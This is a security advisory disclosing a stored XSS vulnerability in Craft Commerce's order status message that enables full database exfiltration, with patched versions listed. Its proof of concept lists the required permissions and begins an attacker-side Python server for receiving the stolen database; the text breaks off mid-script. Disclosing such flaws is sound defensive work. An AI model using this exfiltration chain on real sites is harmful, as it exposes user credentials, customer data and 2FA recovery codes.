Craft Commerce is an ecommerce platform for Craft CMS. In versions from 4.0.0-RC1 to 4.10.0 and from 5.0.0 to 5.5.1, a stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the |md filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes. This issue has been patched in versions 4.10.1 and 5.5.2.

GHSA-8478-rmjg-mjj5 — Craft Commerce has Stored XSS via Order Status Message with potential database exfiltration

Affected: Packagist: craftcms/commerce

## Summary

A stored XSS vulnerability exists in Craft Commerce’s Order Status History Message. The message is rendered using the `|md` filter, which permits raw HTML, enabling malicious script execution. If a user has database backup utility permissions (which do not require an elevated session), an attacker can exfiltrate the entire database, including all user credentials, customer PII, order history, and 2FA recovery codes.

Users are recommended to update to the patched 5.5.2 release to mitigate the issue.

--- ## Proof of Concept

### Required Permissions

- General - Access the control panel - Access Craft Commerce - Access to the database backup utility - Craft Commerce - Manage orders - Edit orders

### Attacker Server Setup

To reproduce this attack, you need a server to receive the exfiltrated database. 1. Save the Python script as `receiver.py` on your attacker machine. 2. Run it: `python3 receiver.py` -- Change the port if needed.

<summary>Server Python Script</summary>

```python #!/usr/bin/env python3 """ Usage: python3 receiver.py """

from http.server import HTTPServer, BaseHTTPRequestHandler import cgi, os from datetime import datetime

class Handler(BaseHTTPRequestHandler): def do_OPTIONS(self): self.send_response(200) self.send_header('Access-Control-Allow-Origin', '*') self.send_header('Access-Control-Allow-Methods', 'POST') self.end_headers()

def do_POST(self): self.send_response(200)…
